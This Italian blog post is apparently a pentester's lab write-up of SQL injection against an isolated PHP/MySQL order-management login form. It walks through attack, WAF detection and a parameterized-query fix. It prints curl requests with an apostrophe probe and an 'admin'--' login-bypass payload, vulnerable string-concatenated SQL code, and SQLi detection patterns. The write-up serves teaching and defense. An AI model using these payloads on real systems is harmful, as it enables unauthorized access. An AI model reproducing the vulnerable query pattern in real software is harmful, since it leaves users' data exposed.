Skip to main content
  1. Blog/

Il Campo che Parlava Troppo

Alessio Barnini
Author
Alessio Barnini
Table of Contents

TL;DR
  • SQL Injection avviene quando l'input utente viene concatenato direttamente nella query - il DB esegue codice che non dovrebbe
  • Un apostrofo nel campo username è spesso sufficiente per rilevare la vulnerabilità
  • La difesa corretta è la parameterized query - non l'input validation da sola
  • Il WAF può rallentare l'attacco ma non sostituisce il fix nel codice
$ history
  • curl -s -X POST url -d "username=test&password=test"
  • tshark -r capture.pcap -Y "http.request.method == POST"

Mi hanno dato tre ore e un URL. Un'applicazione web interna - gestionale ordini, usato dal reparto commerciale. "Testala. Dimmi cosa non va."

Niente scope limitato. Niente whitelist. Solo: trova.

Apro il browser.

Setup
#

┌──────────────────┐      rete isolata      ┌──────────────────────┐
│   Kali Linux     │◄──────────────────────►│  App web (Ubuntu)│  192.168.64.200  │                         │  192.168.64.10       │
│                  │                         │                      │
│  curl, browser   │                         │  Apache + PHP + MySQL│
└──────────────────┘                         └──────────────────────┘

L'applicazione ha un form di login standard. Username, password, pulsante Accedi. Niente di speciale in superficie.

Fase ATTACCO - Reconnaissance
#

Il primo test è sempre il più semplice: inserisco un apostrofo nel campo username.

curl -s -X POST http://192.168.64.10/login.php \
  -d "username='&password=test"
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result,
boolean given in /var/www/html/login.php on line 47

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''
# output simulato

L'applicazione mostra l'errore direttamente nella risposta HTTP. Due informazioni preziose in una riga: il server usa MySQL, e il codice non gestisce gli errori. Il percorso del file (/var/www/html/login.php) è un regalo in più.

L'apostrofo ha rotto la query. Questo significa che l'input viene concatenato direttamente nel SQL senza sanitizzazione.

Cosa sta succedendo nel codice
#

La query originale del form è probabilmente questa:

// codice vulnerabile nel server
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'";

Quando inserisco ', la stringa diventa:

SELECT * FROM users WHERE username=''' AND password='test'

Tre apostrofi - la sintassi SQL è rotta. Il DB non sa cosa farne e va in errore.

Fase ATTACCO - Exploitation
#

Ora che so che è vulnerabile, costruisco un payload per bypassare il login.

curl -s -X POST http://192.168.64.10/login.php \
  -d "username=admin'--&password=qualsiasi"

La query che arriva al DB diventa:

SELECT * FROM users WHERE username='admin'-- AND password='qualsiasi'

-- commenta tutto ciò che segue. La condizione sulla password sparisce. Se esiste un utente admin, sono dentro.

Benvenuto, admin. Ordini in attesa: 847
# output simulato

Accesso ottenuto senza conoscere la password.

Sequenza completa
#

sequenceDiagram
    participant K as Kali (attaccante)
    participant APP as App PHP
    participant DB as MySQL

    K->>APP: POST username=' (apostrofo)
    APP->>DB: SELECT ... WHERE username=''' ...
    DB->>APP: Syntax error
    APP->>K: Errore SQL visibile (info disclosure)
    Note over K: Confermata SQLi + tecnologia

    K->>APP: POST username=admin'--
    APP->>DB: SELECT ... WHERE username='admin'-- AND password=...
    DB->>APP: Record utente admin (password ignorata)
    APP->>K: Sessione autenticata come admin

Fase DETECTION - cosa vede il WAF
#

Il WAF aziendale (se presente) avrebbe dovuto loggare queste richieste.

Pattern sospetti nel traffico HTTP:

tshark -r capture.pcap \
  -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.request.uri -e http.file_data \
  | grep -i "login"
192.168.64.200  /login.php  username='&password=test
192.168.64.200  /login.php  username=admin'--&password=qualsiasi
# output simulato

Segnali da configurare nel WAF o nel SIEM:

  • Apostrofi e virgolette nei campi POST
  • Sequenze --, /*, */, UNION, SELECT nei parametri
  • Errori HTTP 500 ripetuti dallo stesso IP in breve tempo

Il WAF può bloccare i payload noti, ma se il codice è vulnerabile e l'attaccante usa encoding o varianti meno comuni, il WAF viene bypassato. La patch nel codice è l'unica soluzione definitiva.

IoC e tecniche
#

TipoValoreContestoMITRE ATT&CK
TecnicaApostrofo in campo POSTTest iniziale SQLiT1190
Tecnica'-- in campo usernameAuthentication bypassT1190
InfoPath /var/www/html/login.php in erroreInformation disclosureT1082
InfoVersione MySQL in erroreVersion disclosureT1082

Fase RESPONSE - il fix
#

La vulnerabilità ha una correzione netta: parameterized query.

// PRIMA - vulnerabile
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "'";

// DOPO - sicuro
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $password_hash]);

Con la parameterized query, l'input dell'utente viene passato al DB come dato, non come codice. Qualsiasi carattere speciale - apostrofi inclusi - viene trattato letteralmente. La query non può essere modificata dall'input.

Checklist fix completo:

  • Convertire tutte le query a parameterized query o prepared statement
  • Rimuovere la visualizzazione degli errori SQL in produzione (display_errors = Off)
  • Applicare least privilege all'utente DB dell'applicazione - no DROP, no ALTER
  • Aggiungere logging delle richieste POST anomale
  • Configurare WAF con regole per pattern SQLi comuni
  • Eseguire SAST sul codice per trovare altri punti di concatenazione SQL

exit 0
#

Tre minuti. Un apostrofo. Accesso admin a 847 ordini in sospeso.

La SQLi non è una vulnerabilità sofisticata - esiste da decenni, i tool di rilevamento automatico la trovano in secondi. Eppure continua a comparire in ogni pentest perché il fix richiede di toccare il codice, e toccare il codice richiede tempo che spesso non viene dato.

Input validation è necessaria ma non sufficiente - un attaccante paziente trova sempre una variante che bypassa i filtri. La parameterized query separa il codice dai dati a livello strutturale: non c'è niente da bypassare.


Comandi usati: tshark Concetti correlati: smtp

Related